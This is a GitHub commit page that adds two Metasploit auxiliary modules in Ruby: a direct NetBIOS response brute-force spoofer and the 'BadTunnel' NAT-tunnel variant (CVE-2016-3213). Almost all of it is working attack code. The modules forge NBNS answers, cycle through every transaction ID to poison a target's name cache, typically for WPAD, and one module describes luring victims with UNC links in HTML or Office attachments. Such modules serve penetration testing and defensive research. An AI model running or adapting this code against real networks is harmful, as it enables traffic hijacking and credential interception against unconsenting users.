Skip to content

Commit 9f280d7

Browse files
committed
Land rapid7#6994, NetBIOS Name Brute Force Spoofing modules
2 parents 0487416 + 856a4c7 commit 9f280d7

File tree

2 files changed

+263
-0
lines changed

2 files changed

+263
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Udp
11+
12+
def initialize
13+
super(
14+
'Name' => 'NetBIOS Response Brute Force Spoof (Direct)',
15+
'Description' => %q{
16+
This module continuously spams NetBIOS responses to a target for given hostname,
17+
causing the target to cache a malicious address for this name. On high-speed local
18+
networks, the PPSRATE value should be increased to speed up this attack. As an
19+
example, a value of around 30,000 is almost 100% successful when spoofing a
20+
response for a 'WPAD' lookup. Distant targets may require more time and lower
21+
rates for a successful attack.
22+
},
23+
'Authors' => [
24+
'vvalien', # Metasploit Module (post)
25+
'hdm', # Metasploit Module
26+
'tombkeeper' # Related Work
27+
],
28+
'License' => MSF_LICENSE,
29+
)
30+
31+
register_options(
32+
[
33+
Opt::RPORT(137),
34+
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
35+
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
36+
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
37+
],
38+
self.class
39+
)
40+
end
41+
42+
def netbios_spam
43+
payload =
44+
"\xff\xff" + # TX ID (will brute force this)
45+
"\x85\x00" + # Flags = response + authoratative + recursion desired
46+
"\x00\x00" + # Questions = 0
47+
"\x00\x01" + # Answer RRs = 1
48+
"\x00\x00" + # Authority RRs = 0
49+
"\x00\x00" + # Additional RRs = 0
50+
"\x20" +
51+
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
52+
"\x00" +
53+
"\x00\x20" + # Type = NB
54+
"\x00\x01" + # Class = IN
55+
"\x00\x04\x93\xe0" + # TTL long time
56+
"\x00\x06" + # Datalength = 6
57+
"\x00\x00" + # Flags B-node, unique
58+
Rex::Socket.addr_aton(@fake_addr)
59+
60+
stime = Time.now.to_f
61+
pcnt = 0
62+
pps = 0
63+
64+
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
65+
66+
live = true
67+
while live
68+
0.upto(65535) do |txid|
69+
begin
70+
payload[0,2] = [txid].pack("n")
71+
@sock.put(payload)
72+
pcnt += 1
73+
74+
pps = (pcnt / (Time.now.to_f - stime)).to_i
75+
if pps > @targ_rate
76+
sleep(0.01)
77+
end
78+
rescue Errno::ECONNREFUSED
79+
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
80+
live = false
81+
break
82+
end
83+
end
84+
end
85+
86+
print_status("Cleaning up...")
87+
end
88+
89+
def run
90+
connect_udp
91+
@sock = self.udp_sock
92+
93+
@targ_addr = rhost
94+
@targ_port = rport
95+
@targ_rate = datastore['PPSRATE']
96+
@fake_name = datastore['NBNAME']
97+
@fake_addr = datastore['NBADDR']
98+
99+
netbios_spam
100+
101+
disconnect_udp
102+
end
103+
104+
end
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
9+
class MetasploitModule < Msf::Auxiliary
10+
11+
def initialize
12+
super(
13+
'Name' => 'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)',
14+
'Description' => %q{
15+
This module listens for a NetBIOS name request and then continuously spams
16+
NetBIOS responses to a target for given hostname, causing the target to cache
17+
a malicious address for this name. On high-speed networks, the PPSRATE value
18+
should be increased to speed up this attack. As an example, a value of around
19+
30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup.
20+
Distant targets may require more time and lower rates for a successful attack.
21+
22+
This module works when the target is behind a NAT gateway, since the stream of
23+
NetBIOS responses will keep the NAT mapping alive after the initial setup. To
24+
trigger the initial NetBIOS request to the Metasploit system, force the target
25+
to access a UNC link pointing to the same address (HTML, Office attachment, etc).
26+
27+
This NAT-piercing issue was named the 'BadTunnel' vulnerability by the discoverer,
28+
Yu Yang (@tombkeeper). The Microsoft patches (MS16-063/MS16-077) impact the way
29+
that the proxy host (WPAD) host is identified, but do change the predictability
30+
of NetBIOS requests.
31+
32+
},
33+
'Authors' => [
34+
'vvalien', # Metasploit Module (post)
35+
'hdm', # Metasploit Module
36+
'tombkeeper' # Vulnerability Discovery
37+
],
38+
'License' => MSF_LICENSE,
39+
'Actions' =>
40+
[
41+
[ 'Service' ]
42+
],
43+
'PassiveActions' =>
44+
[
45+
'Service'
46+
],
47+
'DefaultAction' => 'Service',
48+
'References' =>
49+
[
50+
['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'],
51+
['CVE', '2016-3213'],
52+
['MSB', 'MS16-063'],
53+
['CVE', '2016-3236'],
54+
['MSB', 'MS16-077']
55+
],
56+
'DisclosureDate' => 'Jun 14 2016'
57+
)
58+
59+
register_options(
60+
[
61+
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
62+
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]),
63+
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
64+
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
65+
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
66+
], self.class)
67+
end
68+
69+
def netbios_service
70+
@port = datastore['SRVPORT'].to_i
71+
72+
# MacOS X workaround
73+
::Socket.do_not_reverse_lookup = true
74+
75+
@sock = ::UDPSocket.new()
76+
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
77+
@sock.bind(datastore['SRVHOST'], @port)
78+
79+
@targ_rate = datastore['PPSRATE']
80+
@fake_name = datastore['NBNAME']
81+
@fake_addr = datastore['NBADDR']
82+
83+
print_status("Listening for NetBIOS requests...")
84+
85+
begin
86+
loop do
87+
packet, addr = @sock.recvfrom(65535)
88+
next if packet.length == 0
89+
90+
@targ_addr = addr[3]
91+
@targ_port = addr[1]
92+
break
93+
end
94+
95+
# TODO: Seed our counter based on the TXID of this request
96+
print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")
97+
@sock.connect(@targ_addr, @targ_port)
98+
99+
netbios_spam
100+
101+
rescue ::Interrupt
102+
raise $!
103+
rescue ::Exception => e
104+
print_error("Error #{e.class} #{e} #{e.backtrace}")
105+
ensure
106+
@sock.close if @sock
107+
end
108+
end
109+
110+
def netbios_spam
111+
payload =
112+
"\xff\xff" + # TX ID (will brute force this)
113+
"\x85\x00" + # Flags = response + authoratative + recursion desired
114+
"\x00\x00" + # Questions = 0
115+
"\x00\x01" + # Answer RRs = 1
116+
"\x00\x00" + # Authority RRs = 0
117+
"\x00\x00" + # Additional RRs = 0
118+
"\x20" +
119+
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
120+
"\x00" +
121+
"\x00\x20" + # Type = NB
122+
"\x00\x01" + # Class = IN
123+
"\x00\x04\x93\xe0" + # TTL long time
124+
"\x00\x06" + # Datalength = 6
125+
"\x00\x00" + # Flags B-node, unique
126+
Rex::Socket.addr_aton(@fake_addr)
127+
128+
stime = Time.now.to_f
129+
pcnt = 0
130+
pps = 0
131+
132+
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
133+
134+
live = true
135+
while live
136+
0.upto(65535) do |txid|
137+
begin
138+
payload[0,2] = [txid].pack("n")
139+
@sock.write(payload)
140+
pcnt += 1
141+
142+
pps = (pcnt / (Time.now.to_f - stime)).to_i
143+
if pps > @targ_rate
144+
sleep(0.01)
145+
end
146+
rescue Errno::ECONNREFUSED
147+
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
148+
live = false
149+
break
150+
end
151+
end
152+
end
153+
end
154+
155+
def run
156+
loop { netbios_service }
157+
end
158+
159+
end

0 commit comments

Comments
 (0)